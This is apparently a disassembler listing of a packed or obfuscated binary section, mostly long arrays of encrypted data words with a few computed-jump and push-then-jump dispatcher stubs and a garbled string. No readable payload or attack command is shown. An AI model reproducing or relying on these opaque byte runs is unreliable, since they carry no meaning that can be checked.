2DC32CCBh, 131EFE95h, 0CD409DC6h dd 21C8CD04h, 227895ABh, 48A8DBE0h, 0DE13C6C7h, 60BA2C38h dd 0F5C49AB9h, 58772F8Eh, 0A75D9475h, 0C2557582h, 9CA3E891h dd 71B86523h, 0BC537B7Ch, 1385E175h, 37E43795h, 239CA346h dd 940BC6C3h, 1D8DD26h, 0CFE811C8h, 0BF9A1BEAh, 96E11C2Fh dd 845E2998h, 0FD25D0BCh, 0D30EC3CEh, 0E70700ECh, 94AEF4Ah dd 1DA0AF70h, 0CF1E30EDh, 0EFE51CEBh, 0E1BBFF6Ch, 112BCB52h dd 0B20106E6h, 0BEF2A8F9h, 1BA392A3h, 6A000014h, 73528A87h dd 0B520C44Bh, 0A94CF013h, 0B81FC540h, 0F351F314h, 2ED901BEh dd 1EEDCFF6h, 2DDCFFE6h, 1EEFD0F7h, 203BFCE6h, 2396C95Dh dd 8CD375DAh, 0B4577560h, 71963641h, 0BD64AD7Ch, 9685DB9Eh dd 66AB5829h, 3AB617BEh, 32A8FEEDh, 8FB57C8Bh, 83B322AAh dd 5C4E94F2h, 0BE509972h, 4169FF78h, 64EF14B6h, 29968519h dd 0E103E996h, 4B01FE3Ah, 0BE39E029h, 0EE4BEB20h, 0C740AC13h dd 2DB4F6C6h, 0FBC2A541h, 0FD2D2036h, 532F8EE4h, 648A836Ch dd 8B7E5D8Ch, 0AC399B46h, 19C9C7BCh, 0B94AA3B3h, 239D39BCh dd 0A066749Bh, 48D611CCh, 4BBA1F98h, 893D8F4Ah, 2945021Ah dd 6B8D99BDh, 57000001h, 5878638Ch, 6D9E40B7h, 0C178B168h dd 85A2DB78h, 642D2996h, 90764FCBh, 60FB980Eh, 2996401Dh dd 1224ED9Ah, 45A710D9h, 15F0D9C6h, 0C625C9A0h, 0FB0AAF26h dd 5014BF36h, 0F8299645h, 0F40B36D7h, 0A77820C6h, 8C48F451h dd 0FE7F9C45h, 7B299628h, 27CE688Eh, 259247C6h, 975243C6h dd 6AFC6E77h, 23300930h, 2996285Ah, 64EF2AD7h, 29962819h dd 0E845E996h, 522BE811h, 0CF299628h, 55093CD2h, 432F8F51h dd 0F6F710BCh, 3EEB1323h, 63021103h, 332C4D0Eh, 0FCA9239Dh dd 0A0F83618h, 7C83A48Eh, 0C4A0B64Fh, 16EEB52h, 4F1939C9h dd 9CE9B9C4h, 80493623h, 4A875F2Ch, 69A033EAh, 0BF8389B0h dd 5FA6132Ch, 0C4464C8Dh, 6CD1F32h, 0AF6C2999h, 0BA4D6D8Ah dd 0B51AA582h, 1B845558h, 845558AFh, 0B0578372h, 0F28A4463h dd 482D46BEh, 126Ah, 49FB16B9h, 17CD429Eh, 43F90AB0h, 16CE37A4h dd 48FC0BAFh, 0E408B7EAh, 0F8D60123h, 0E706F113h, 0F2DBFA22h dd 3EFBE91Bh, 96C85C1Dh, 0D474D923h, 7D8831CEh, 9536A178h dd 0AB0FDE70h, 85CEAF6Ch, 5E4B2996h, 69867193h, 0FC6E60B4h dd 9CB1D0DBh, 95C1FE7Fh, 99717B29h, 0F219206h, 80B970B9h dd 279B5777h, 0D0A5B01Fh, 0EC46E821h, 1465F64Bh, 912995D0h dd 48BF2B94h, 638C90A6h, 78B15278h, 0B48DB475h, 9685D6A7h dd 0C5565329h, 299685B4h, 13E27431h, 41BE63AAh, 54DE709Bh dd 249F4771h, 0FF2CA3B9h, 9D5C5198h, 0EEC6B764h, 0DD7E2995h dd 2995EE9Ch, 8D7A6C19h, 0A8658A69h, 0F28BC871h, 6F2995EEh dd 75929CB2h, 25A8658Ah, 3B78E274h, 4F8AD046h, 5BAE0DAAh dd 0DC6F7F5Ah, 2F8F0736h, 0E2719C89h, 1B270694h, 62B01583h dd 238B3F5Eh, 831E821h, 193AC9EFh, 2C12F360h, 3ACFEEDDh dd 0B2BE6B3h, 0FDC9ED2Eh, 9DCC320Bh, 16C3CA3Dh, 329926DBh dd 0BAE37D7h, 4B42CBF4h, 4287806Ch, 0FC26B0ACh, 2418FC45h dd 0D2A78D9Eh, 797C8B2Fh, 4F6E69A0h, 0D4B194BAh, 392C16A7h dd 0C52A954Ch, 0AB689148h, 201D1DD2h, 1DB0C98Ah, 702D201Dh dd 0B37D918Eh, 9162AB14h, 0BC7E826Ch, 770757Eh, 56000011h dd 876E967Bh, 5174A867h, 7D689C67h, 5473A95Ch, 0A77D9F68h dd 7A8D2D6Ah, 52B923C2h, 69A04BAAh, 62AB14B3h, 0B45F18BAh dd 2396C6C9h, 8CDFA146h, 0B3547863h, 2BA26742h, 48F129BFh dd 0EFFF0EAFh, 0DE00F742h, 5DF1A82Dh, 8F9A60EAh, 6289762Fh dd 0CE7326A7h, 9D70EC8Dh, 9ABC6923h, 0C1487362h, 0AE6D108h dd 0E247F105h, 9D10F3D5h, 0A83E2ACCh, 0AF45C772h, 4C4BACFEh dd 7BC67383h, 45B25B84h, 0B97065A8h, 52B0B295h, 0AE5B2996h dd 0A8618C73h, 0BFB65D86h, 9E1DA446h, 4CB37B67h, 46CB6BA4h dd 46DD62AAh, 0A85B7D7Ah, 6B984225h, 769139A6h, 9884AA7Fh dd 3Fh, 3169FF6Ah, 0D4164B08h, 0C1CB2F8Fh, 9BB515D6h, 1559E818h dd 4E5EFFD5h, 0E9D60BC6h, 0E5D20702h, 42EC0205h, 9CFE7CFFh dd 34D9F623h, 306E510h, 1018A392h, 0E9D60000h, 21EAD401h dd 0FFF046E8h, 4B083169h, 2F963EA2h, 79D0927Ah, 409A08EDh dd 0C42746AEh, 0AC558C45h, 88856A55h, 0B6C75405h, 3323977Ah dd 0AC11E076h, 0B47D8C2Fh, 2A30878Dh, 192CBAFh, 3BA443EDh dd 4CD3EA0h, 6E1DF7DDh, 2D9345DAh, 0DC4AE009h, 0BCC05B86h dd 7629971Ch, 0AAED90CBh, 0BD6A1D97h, 49726199h, 3D7A58BCh dd 0F5289FB7h, 0D5FA053Ch, 840B0138h, 7122732Fh, 0FBDA54FAh dd 0F9063BD2h, 0CC1539D4h, 71A2C85Eh, 1D983208h, 0A8519885h dd 858A6651h, 5ABCDE71h, 7322391h, 9F08314Ch, 5DF1AE17h dd 700BE895h, 0AAA4F094h, 0F649C89h, 0CB30000h, 0D8F8DF05h dd 0F8E20537h, 0CDEED90Bh, 0F9E10438h, 0C53CD60Eh, 2BD13696h dd 33E922CCh, 3CE02994h, 23D93499h, 225BF8C1h, 9F2396C5h dd 46CE862Ah, 1965B3F8h, 3C0F1F95h, 2996753Dh, 8B30B82Eh dd 622DE95Dh, 8247B2FBh, 0C9259247h, 585DA614h, 94454881h dd 0DAA6B582h, 492F955Ch, 0A714C32Ah, 4722935Eh, 15A25782h dd 8C5D50B3h, 0BB628B6Ah, 95EADDA0h, 527B5A23h, 89BB76BBh dd 52B117A0h, 89688E5Bh, 0B624A964h, 3DFEDD20h, 23366D4Dh dd 9FBFC4D1h, 804963A3h, 0CF737359h, 60B45377h, 96B8E8AEh dd 74576099h, 7CCE8195h, 92298EADh, 83D1AC67h, 514E1D9Ch dd 6B4835BDh, 0BEFDEBDAh, 9B462F40h, 0EA00000Eh, 0F3D20A07h dd 35A044CBh, 29CC7093h, 389F45C0h, 73D17394h, 0AE59813Eh dd 9E6D4F76h, 0AD5C7F66h, 9E6F5077h, 0A0BB7C66h, 2396C4DDh dd 8C53F55Ah, 4423AA63h, 699A409Bh, 965C9864h, 0E0997855h dd 0AEDE029h, 0C8AF26E3h, 7F0E526h, 0B1DC24E3h, 0D027F9A5h dd 8528C482h, 4EED4D2Fh, 30000006h, 9B7FAEDCh, 16ECDEh dd 8931CE3Ah, 8CA2777Eh, 0E51C46D0h, 963E5636h, 49F0AD2Fh dd 25E407F0h, 10FDE211h, 29E409ECh, 38E707F0h, 96CC621Bh dd 0E722DF23h, 0CA2333E6h, 96CC3C39h, 0D603FC23h, 0E029DCFDh dd 5E84124Eh, 0E1D678A3h, 0C2B1298Fh, 0DA39F01Dh, 0BEFF2417h dd 0DBE9CCE5h, 2A00000Dh, 33924AC7h, 7560848Bh, 698CB053h dd 785F8580h, 0B391B354h, 6E99417Eh, 5EAD0FB6h, 6D9C3FA6h dd 5EAF10B7h, 0E07B3CA6h, 2396C39Dh, 8C13B51Ah, 2CE68D63h dd 0B2564605h, 4C717677h, 0EBCCC1h, 35A38409h, 0A512C7CEh dd 0BCDC043h, 0B808D604h, 5029EA0Fh, 0CD299645h, 93BF3ED0h dd 2F1939B3h, 587FE4Dh, 0B6410000h, 0EF1EBF16h, 50E62BFEh dd 8931CEEAh, 5E85777Eh, 0CD0A7D30h, 84BEB26h, 2995AD71h dd 73AEF462h, 4E8B31CEh, 4316976Ch, 6552078Eh, 5A0F8689h dd 673191B4h, 5F1C2F95h, 99BA7FBAh, 2395F4E0h, 1ABA835Dh dd 4B6E7525h, 5C817086h, 4D6F88B1h, 379E98BEh, 0E4767796h dd 1BF12872h, 9308E6CFh, 7EBB5BCBh, 9CDD7EC3h, 122395BBh dd 0BE6B5BA8h, 0D095B598h, 56AB298Eh, 9CA6B4C5h, 0E274311Dh dd 788F3B1Ah, 933BA475h, 69A0797Ch, 0FE36CD8Ah, 3F264FBEh dd 0CDAh, 994BC629h, 0C77D922Eh, 9349BA20h, 0C67E8734h dd 984CBB1Fh, 7458077Ah, 68867193h, 775681A3h, 628B6A92h dd 0AE4B79ABh, 96C30C6Dh, 24E48923h, 0AD3346CEh, 84503E22h dd 0B35A8372h, 5C807742h, 0D47F2AABh, 299640A9h, 9EB07926h dd 2E9F6E4Fh, 8932CD72h, 8EA0797Ch, 34CB636Fh, 5D0C818Ah dd 410677A4h, 86832996h, 1CC19B70h, 2A954D2Fh, 77B343C0h dd 475h, 8B31CED1h, 0BA5C0D80h, 9685E897h, 0B7239C29h dd 0DE14A133h, 0AE636A07h, 0C818C31h, 3BADB95Dh, 54FF3ADFh dd 29965929h, 0D855F9A6h, 9612943Bh, 5C7E6D2Fh, 0BE7326A7h dd 0BA537C83h, 937A6382h, 8755722h, 8AF320D5h, 7239785h dd 0F897B21Ah, 0E177F303h, 0EFD380B9h, 0E2298FCCh, 0E817D625h dd 0E40DBEFEh, 0BF901h, 68A94800h, 62AD11B4h, 56AD1BBAh dd 63A247AEh, 51B616C1h, 5B1899ABh, 8164986Fh, 698CB05Bh dd 72558782h, 0B61CC04Dh, 0C1275201h, 3FA42396h, 0A173CE81h dd 0E90E2EB5h, 67122146h, 0E4299657h, 0F7D81737h, 9C11FAE4h dd 0E2DD04CDh, 2EB0BF8h, 28510237h, 0A5299657h, 369756F8h dd 0EEC649A5h, 8F5569D8h, 8D00C916h, 0C4C946AAh, 0FEDEF7E3h dd 57CDC009h, 0B0BC6270h, 4EF60507h, 37FA01E5h, 0F2FAE817h dd 7B9C40CDh, 98C35C84h, 29961AE5h, 696CA562h, 0F7699EB0h dd 0BF4D2F36h, 0CA8AA14Dh, 0F41A4B70h, 0C28h, 5E8AFA00h dd 0AF000003h, 0D264A548h, 8597E86Ch, 0EA7C2996h, 47B089B0h dd 84C767A6h, 2F963F52h, 8F7E5F58h, 4F8A777Fh, 85968768h dd 2396CCF4h, 0C77DB471h, 90735562h, 0CCCFAA69h, 4F4C2396h dd 7E8F30BFh, 8B943CC3h, 96CCADD0h, 0B47D2A23h, 47D149A2h dd 36EEE61Bh, 38D7EFE1h, 0AF6CC96Dh, 29902D13h, 0D1BA1906h dd 0EBBEFF4Bh, 0AE0DBCAh, 902F0000h, 547C5B81h, 7C5E89BBh dd 49725587h, 7D5D88BCh, 41C0528Ah, 0A75DAA12h, 0B76D9E40h dd 0A85CAD10h, 0B76DA03Dh, 0CEAF6C0Dh, 4B2396C0h, 638CE2A6h dd 93F3588Dh, 0B2194D91h, 4E835657h, 7A615E83h, 45C6288Fh dd 6C759950h, 2AAB628Bh, 686DA03Dh, 2DE792C1h, 0B7642996h dd 92399C40h, 3C3BB277h, 0FDFA7B94h, 5AFF0DD1h, 98C7F5Dh dd 85846750h, 46B55910h, 62AB1418h, 5BB35BAh, 77C4D2Fh dd 0C6000000h, 2688Ah, 98E8B600h, 7B299685h, 888CB5EDh dd 5FBADF1Fh, 67544B43h, 0A0BB789Eh, 2F95AD3Dh, 2DD40DFAh dd 0EDE02D92h, 0F31AC33Ch, 0E22B9463h, 0BE329B3Ah, 75607425h dd 0B538F1E3h, 2CE30BF4h, 25EF0A9h, 2C934E94h, 0A34647C0h dd 96040578h, 4C858223h, 2E9F6653h, 0A35EDB7Bh, 0BB5BB41Ch dd 8F282A98h, 72A15829h, 1D9CE007h, 116CA784h, 8E1D9CE0h dd 3EB65891h, 40877241h, 0EC05BEFEh, 9D509h, 54BD2400h dd 66A945B0h, 52B117BEh, 679E4BAAh, 5DAA12B5h, 67148DA7h dd 75608483h, 6590B457h, 76618386h, 6290B459h, 0BFF38695h dd 0FB702396h, 0F946CE3Dh, 1ABB643Eh, 199C6751h, 86658940h dd 4631A469h, 91A447A9h, 5AAC42B3h, 0B4191E8Fh, 65535459h dd 525179Eh, 76289E49h, 4F9B6AC2h, 88D805Dh, 0EB8C9851h dd 76740516h, 34F12996h, 0F5F7E322h, 0B9A118D8h, 0D2E52C10h dd 401CE517h, 144D2F9Dh, 80C501C0h, 0C96DFBB1h, 135Dh dd 0B117A000h, 0CE76BC52h, 787D8831h, 465C8DA1h, 0A4000001h dd 968598E8h, 0B5ED7B29h, 0CF8CB58Ch, 299685AEh, 75D87E2Bh dd 2F963F6Ch, 9EDF7C19h, 1B2396CCh, 817EA36Eh, 0B188B15Ch dd 96CCD7A2h, 9B6E4D23h, 0A25F3F1Ah, 9A43A28Ch, 7805BD56h dd 7DB45A5Ah, 0A446B178h, 2999E46Fh, 69162397h, 0DA7C2DA0h dd 17C2188Eh, 904DC6FCh, 0EFCCB929h, 0BEFF6612h, 0CB866F80h dd 1A000008h, 43A25AB7h, 25D0749Bh, 399C40C3h, 28CF7590h dd 83A143C4h, 9E69510Eh, 0AE5D7F66h, 9D6C4F76h, 0AE5F8067h dd 70AB4C76h, 2396BF0Dh, 0CE23E58Ah, 8595E873h, 15122996h dd 0ECDF201h, 21945DB2h, 61157458h, 5EE3D8E4h, 899439B8h dd 0B3DAA3B0h, 0AA572995h, 95B3F089h, 79B06D29h, 9FDA79C0h dd 1C2995B3h, 7E16CF5Fh, 0CB1BBA7h, 0EEF4D801h, 0D94B0BD0h dd 0FE032DC1h, 4D2F8162h, 314C0732h, 0AE29959Dh, 243815D4h dd 2EE395DBh, 181C08h, 0EDDF0000h, 0A23B17F0h, 44CF0A7Ch dd 29958C39h, 0F25C9B6h, 348Ah, 638CB600h, 9B4423AAh, 4F7C7B72h dd 92383FB6h, 16F17C71h, 281F16C8h, 69A0743Ah, 0B986587Dh dd 0EAF3ED0h, 0D83CDDFFh, 5172BFC7h, 0C425C99Fh, 64h, 0BA638CFCh dd 9685E099h, 37A05D29h, 0AE7B7291h, 0D883BE63h, 299685A5h dd 93E67522h, 10299685h, 0AF38DE13h, 96855624h, 21EED229h dd 0E71ECBACh, 4E3FD0F0h, 24FAE8DFh, 822C3A55h, 622D938Ah dd 3ED0826Ah, 0BD0F0EAFh, 0E43B0F50h, 3A43D0DBh, 0B729959Ch dd 3CDDFFCAh, 0E0AF51D8h, 33AC7EB2h, 0CC72848Bh, 95E873CEh dd 12299685h, 0CDF20115h, 0BE63E123h, 765E1B44h, 51AA2F4Bh dd 89B07910h, 0A7843883h, 55F97DC3h, 0EED2ED8Ch, 0F217B621h dd 5C082EFBh, 4E6990CAh, 23199C71h, 0DB78B72Fh, 58FE33C9h dd 92AD40DBh, 7A852F95h, 0A34AB552h, 94BA6F66h, 0D9A4AF5Ch dd 4F23961Fh, 7C2DA06Fh, 0AD549D8Ah, 5A5BA812h, 77C26F7Fh dd 23AA5B80h, 0AC11E076h, 0B31CBB61h, 2996535Ah, 0BAA648C3h dd 0F019C42Ch, 390039h, 961F2A53h, 54FAA723h, 95D887F1h dd 0E0190629h, 0D29457ECh, 28CE8194h, 52CBF40Bh, 9642B8C1h dd 7B902E1Dh, 423F9F7Ah, 8DB45587h, 9642ABCEh, 997B281Dh dd 0DD802933h, 46A54956h, 42BD64A9h, 6DF6F9Ch, 0B8639E63h dd 1D9636C5h, 0C3B64542h, 401D9636h, 99725C43h, 0B5B14514h dd 0E326C523h, 47F237F2h, 1F4B44C5h, 0FD112BDBh, 9300930h dd 95EC2F4Ah, 64EFAC1Dh, 1D95EC19h, 245E996h, 238F1598h dd 4435E6D3h, 0BA179CC3h, 1411F512h, 2437FEDDh, 648DA4FEh dd 66981h, 0F819B800h, 0D23DA144h, 0E61DCB2Ah, 0D332973Eh dd 0E126C631h, 0EBA8E93Bh, 0F1D408FFh, 399C40CBh, 22C57792h dd 46AC50BDh, 0BC97E271h, 0AF142396h, 8C31CE11h, 179E6D4Fh dd 53068742h, 828B34C3h, 8D7E6057h, 0C728CF69h, 0B6249B46h dd 0F687944Dh, 73299685h, 6047A0B6h, 8D078E7Fh, 1FC0ACBAh dd 2ED901FEh, 96856C0Dh, 0BF8E229h, 123EE9Bh, 0D03F9F18h dd 25EA0CDDh, 4D2F5D4Bh, 9F3AA41Bh, 0F006CB3Ah, 5F34h dd 73CE0E00h, 968595E8h, 1151229h, 72A7F365h, 4D9030C7h dd 6B549D70h, 55048980h, 0D4CF8EC1h, 65842F8Fh, 57128386h dd 25926792h, 985144C7h, 0B5547776h, 1C22AA8Fh, 0F89089A5h dd 0F883C668h, 72239CE8h, 9E19C04Dh, 13C6C73Ch, 0D0C53EACh dd 9C3BF519h, 0C045A631h, 83A18409h, 0DF000005h, 7E8931CEh dd 0DC77A277h, 299685A1h, 91CD611Eh, 0F526DB07h, 2F8F9A0Dh dd 1D0A8B78h, 2B944DC0h, 3EA747BEh, 158AD8AFh, 2AA25783h dd 0A9D3C8DAh, 85069610h, 0C2B60AAFh, 0EF4AE707h, 0AF26E708h dd 28DBFDFAh, 0EF62F4A5h, 2995AB17h, 6B9842BDh, 0AC5F7D6Ah dd 80B97029h, 0A381AAD3h, 0D47A271Dh, 8DBD5F1Ch, 0DF1ABF1Bh dd 0C83B9D1Ah, 0A381522Bh, 3CD2CF1Dh, 9C95F909h, 36B76423h dd 0C37E8931h, 0D777903Ch, 45C0290Eh, 85846750h, 0D66B3C10h dd 43057726h, 16C816F1h, 4ED1FD0Ch, 755782D8h, 59ECFC0Fh dd 0D461F5A6h, 0A36ABF47h, 659C651Dh, 0B141C3B6h, 0B8434011h dd 11B141C5h, 49B14542h, 635CA55Ch, 0F687947Bh, 7311B141h dd 42B35C84h, 9635A267h, 0B059E373h, 0DFF8725Ch, 0DD7E33F6h dd 11B1339Ch, 91A56C19h, 1D907D62h, 0A458B51Ah, 0BB547C83h dd 93CF5F3Ah, 0CC43AB05h, 9A25DC05h, 8E1D431h, 64DF63E6h dd 0D5D217AAh, 33E019E0h, 0BB8014Ah, 1134DAC7h, 0BB80164h dd 9D10FDE2h, 0DFD6339Ah, 0D886D43Bh, 0AD99C540h, 50F1DD33h dd 59F4h, 0BB04700h, 0FFDE54FAh, 2CDBFF69h, 2A5300A9h dd 0A7299685h, 23C82FFAh, 0F33EEBE2h, 981D0D4Eh, 0A1732F8Fh dd 0C6DFDBE4h, 80789E8Ah, 50671283h, 0C6DAE6Fh, 89239D6Bh dd 8960559Ch, 6A93E265h, 0CD72239Dh, 6A96E774h, 1613239Dh dd 0F1D50100h, 48D6467Fh, 15B38h, 638C0A00h, 0F44C78Dh dd 0BC6D60AFh, 0F2765C58h, 0B223E605h, 0BCBB32F7h, 9050710h dd 2FAFD2DBh, 3FED90ABh, 0BD6A2996h, 59768174h, 99878DB4h dd 0F07A463Eh, 0D41DF2CEh, 0F08BEE2Dh, 1B082995h, 0E805F2FBh dd 2E18FC25h, 0C9FF8BF3h, 0EC370115h, 2995DF78h, 0E631BF20h dd 2EB3C5D0h, 0E2DD04CDh, 51EB0BF8h, 0C88BE4E8h, 0F5AADD96h dd 0E02D9261h, 0BFEB7DEDh, 965BE994h, 70B96629h, 8AC970C9h dd 29965BEFh, 0D9A4AF6Ch, 5629965Bh, 6BA885A9h, 2F8F71EBh dd 0D63597B6h, 80F91ADFh, 0FD239D46h, 0DC00C900h, 2455063Bh dd 0A1239D46h, 801652E4h, 0EE2D9F5Ah, 0C274BDC5h, 0FE1D1A3Ch dd 29989662h, 108B34Ch, 0C139DD8Ch, 38A21DC4h, 0D6D73299h dd 12C7CE03h, 24C82FFCh, 369641E3h, 19D03F9Fh, 0F23179BAh dd 433243BEh, 30Ah, 699B7659h, 77AD627Eh, 63996A50h, 76AE5784h dd 689C6B4Fh, 0C42857CAh, 9836A143h, 0C726D173h, 923B9A42h dd 5E1BC97Bh, 96B8BCBDh, 0F4943923h, 5875608Ch, 64F45598h dd 0C8017A35h, 24DD14C5h, 8A3B3EDDh, 0BCC62995h, 7FA499F4h dd 29CDBA2Ch, 308D2A0Fh, 15BA39DDh, 0D80B7FDBh, 0CE07276h dd 0A97D9674h, 8F4A7F56h, 4F46C728h, 64BA749Ah, 83169FFh dd 193DCCEFh, 982FFF1Ch, 0BC852F8Fh, 9D72DE9Fh, 88AE5B23h dd 7742B370h, 59366A95h, 0E175E0DBh, 9CC1076Eh, 6651E623h dd 5C0D8085h, 7C927963h, 379D517Dh, 5BF73888h, 0D82DC1C7h dd 48D68304h, 807E7D0h, 0FEEBD485h, 93BE707h, 6000001h dd 1638D3F9h, 0AA638C20h, 51798623h, 0D423E799h, 5C95E9C9h dd 788F3BBAh, 729736C1h, 596603DCh, 0D3769873h, 2995BE91h dd 0C3799439h, 0FD809B66h, 7A2995B4h, 658A698Dh, 23B525A8h dd 0D4CA42F7h, 99E6A1AEh, 0FA3FEC02h, 9A69143Fh, 39E62995h dd 0B0203215h, 3EEB2F8Eh, 3A962106h, 0E509E0D5h, 8EB3EF79h dd 659E4CB3h, 9C84A3D6h, 0BDC05B23h, 3A239C84h, 8AAC594Dh dd 75936EADh, 3002998h, 0DCF9E1DEh, 25DC15EEh, 37D7349Ah dd 15F2DAFDh, 0F2176BC6h, 0D1819BEh, 1AAh, 93BD6F9h, 0D70D02DEh dd 339CAF0h, 0D60EF7E4h, 83CCBEFh, 24C8F72Ah, 389641E3h dd 27C631D3h, 329B3AE2h, 0FEBB29DBh, 96B71C5Dh, 94349923h dd 808B31CEh, 3BBA5C0Dh, 78C1788Fh, 8FAC5B7Fh, 299685EEh dd 9E98BE6Bh, 0F7F59379h, 0DEB35FD2h, 0FE5D57Dh, 8DA1046Bh dd 745A815Eh, 25A75297h, 880C2B8Fh, 5B817EBCh, 7A949EB0h dd 23AA638Ch, 8678E86h, 0DC8F586h, 95892B4Eh, 36FBA829h dd 21ECD120h, 0A8B61EFBh, 432DD582h, 2C4D0E33h, 0A9299643h dd 980E5AFCh, 0B1629742h, 299643C8h, 9E745845h, 0BC895B62h dd 1BE653E3h, 306E43B9h, 5EF04DD6h, 96078DEBh, 0B267142Fh dd 6D60A345h, 0A8519ABCh, 9F5AA90Fh, 96960974h, 75998623h dd 5D825976h, 1C0EA393h, 35FC22F2h, 409D48FCh, 40AB14CDh dd 115C4C9h, 23C5BE8h, 5D7E7743h, 0D78425A8h, 0CFEAE3A6h dd 55796623h, 0C34933BAh, 0F6929071h, 0E1ED086Ch, 0A429E00Bh dd 70393CF5h, 6EF8AC9h, 0AF6CCFEBh, 0BC72609Fh, 6A3D685h dd 0C05BCFEBh, 0CFEB06BDh, 0AC594D3Ah, 8B826B8Ah, 0CC516E59h dd 73808733h, 0CFEB070Ah, 5E4F9A87h, 4EB7249Bh, 2E9F6A51h dd 0AF1CDB7Bh, 6C4B566h, 4441CFEBh, 6EAD548Dh, 0CFEB070Bh dd 4C807E88h, 8F32798Dh, 4C2BB45Ah, 1AEC4CA2h, 0A1DE5785h dd 59826568h, 285F29ACh, 61DE643Ah, 7C927756h, 725B517Dh dd 37C0699Bh, 12E17594h, 80B960ADh, 0EACEAAD3h, 0D47A27CFh dd 0C2A0Bh, 0F560000h, 0C087DA32h, 0C615ACC6h, 658C0A30h dd 0A13E29ACh, 5F7E696Ch, 9A4423AAh, 4F7B7C71h, 8A3235B8h dd 4A6F787Dh, 8B2D3ABBh, 4E727578h, 521BCCC1h, 0C2815A54h dd 4, 8704EA83h, 685C2414h, 73E4h, 68240489h, 65A9h, 0B8243C89h dd 3CB12A5Bh, 5D4F2540h, 0D0F737A2h, 4BBB5348h, 81441C1Fh dd 8F1EA2CBh, 94C38154h, 2970C11Dh, 40685BD8h, 89000068h dd 4812424h, 424h, 0EC835F00h, 241C8904h, 8BBh, 89FB0100h dd 34FF5B03h, 0C4835F24h, 2434FF04h, 4C48158h, 0E9000000h dd 0FFF9AE32h, 8349EFA9h, 0D0C45233h, 80A04096h ; --------------------------------------------------------------------------- loc_5D86D4: ; CODE XREF: .XComp0:loc_5D6F8Fj mov eax, 5FFD062h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 77h, 0ACh, 0ADh dd 0C0241A4Fh, 6A125555h, 592D353Ah, 40D1692Bh, 1529FD5Bh dd 0A883932Ah, 0F3DCCE6Fh, 0E957B41Ch, 2DF22714h, 0B6B7F938h dd 4D33B76Ah, 26F10F74h, 1BFBFD76h, 47B9A94Fh, 47AEE41h dd 443E7D1Bh, 1C70E052h, 0A416CF2Dh, 82145249h, 0EB07E82Ch dd 0A8D8D61h, 6A05FFD2h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 3501C356h, 8D89357Dh dd 5F90CDDh, 0C7DFBF0Fh, 0F926C185h, 5E3C05h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 8890F67h, 57000000h, 7798509h, 0B65E05F9h, 0FD85C7B3h dd 5F900h, 0F000000h, 682h, 899D8B00h, 0FF05F910h, 0F91091B5h dd 0FE905h, 93EB0000h, 0DDD2343Ch, 0C0A36D01h, 5312039h dd 0D595FFBBh, 6A05F920h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 4BDFC357h, 1BE75084h dd 517EAB9h, 95FF006Ah, 5F91AEDh, 9EBC08Bh, 0F58619Bh dd 0D228E9F4h, 18EE9A9h, 6B6D0000h, 2C276E17h, 98D31AD5h dd 0D1D746B1h, 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h dd 92A59EB9h, 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh dd 45D2009Eh, 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h dd 0F647FEACh, 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h dd 0CD45C9BCh, 6CA1915Ch, 0ACE5h, 1, 42h dup(0) dd 97000000h, 33A26D84h, 0EE69F0h, 4 dup(0) ; --------------------------------------------------------------------------- jmp loc_5D9FE8 ; --------------------------------------------------------------------------- push 5FFD606h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFD773h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFD9EAh jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFDB2Fh jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFDD03h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFDE4Eh jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFDF4Bh jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFDFCEh jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFE111h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFE1DAh jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFE2C2h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFE398h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFE452h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFE641h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FFE7C6h jmp loc_583A19 ; --------------------------------------------------------------------------- aR51U3uR64 db 'à5Æ1ìÄ-*ã-È3îÍ*-à6Ç4»',0 db 6Bh, 49h, 0ACh dd 47B662AFh, 0AF466DB4h, 45B065ACh, 7ED737B2h, 9F20D6E2h dd 262FAD5Ah, 3E8306F1h, 0CC2BCC99h, 0BF1802E1h, 9ADF0225h dd 3D1DE2A1h, 0FFEA09A8h, 0C754D724h, 351BBD6Ah, 0DF02009Ch dd 0FAC5BC9Ah, 0ABFC55C5h, 9B9CA033h, 5851A456h, 0A55C407Bh dd 19CCA4B5h, 0A9C7A556h, 0E2037B6Eh, 40DD5E53h, 3DB45C15h dd 74D43582h, 749F26B9h, 34C4215h, 94827B24h, 3Bh, 4861E028h dd 10147DD6h, 170A9CA0h, 0C134E227h, 0A22A83F6h, 0BE9F2610h dd 39827843h, 0CA827BD0h, 16Eh, 4F12368h, 30CC2589h, 0AC9F261Ch dd 6ED72AF5h, 7C2092A5h, 2609EB30h, 0CEF7E8F1h, 9B30A539h dd 71096568h, 0DFCE7C08h, 0EE29E89Ah, 9688759Fh, 15C1A251h dd 0F12EE5E8h, 9A431BF8h, 9ADFCE0Eh, 8D00BBB6h, 0F6688F44h dd 0CE6BF55Eh, 20D39ADFh, 729FF2DBh, 59157883h, 8B9ADFD2h dd 0D328CF06h, 0AC8E698Eh, 8AEBD57h, 0DC27FCEDh, 20D51C1Fh dd 0D49465D5h, 472B3E1Fh, 56E5D823h, 22D419D7h, 0E3DE6AD3h dd 8B869ADFh, 0E58EE658h, 9ADFE35Bh, 73CB1003h, 0A352860Bh dd 0CBAE692Ah, 9CA0DA1Ah, 0F98E8988h, 49D37C44h, 0F59F26CBh dd 29B31CFEh, 959F26CBh, 0B43921DEh, 1FF4F5FCh, 0CFD982DCh dd 